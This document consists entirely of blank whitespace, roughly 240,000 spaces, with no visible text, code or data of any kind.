                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        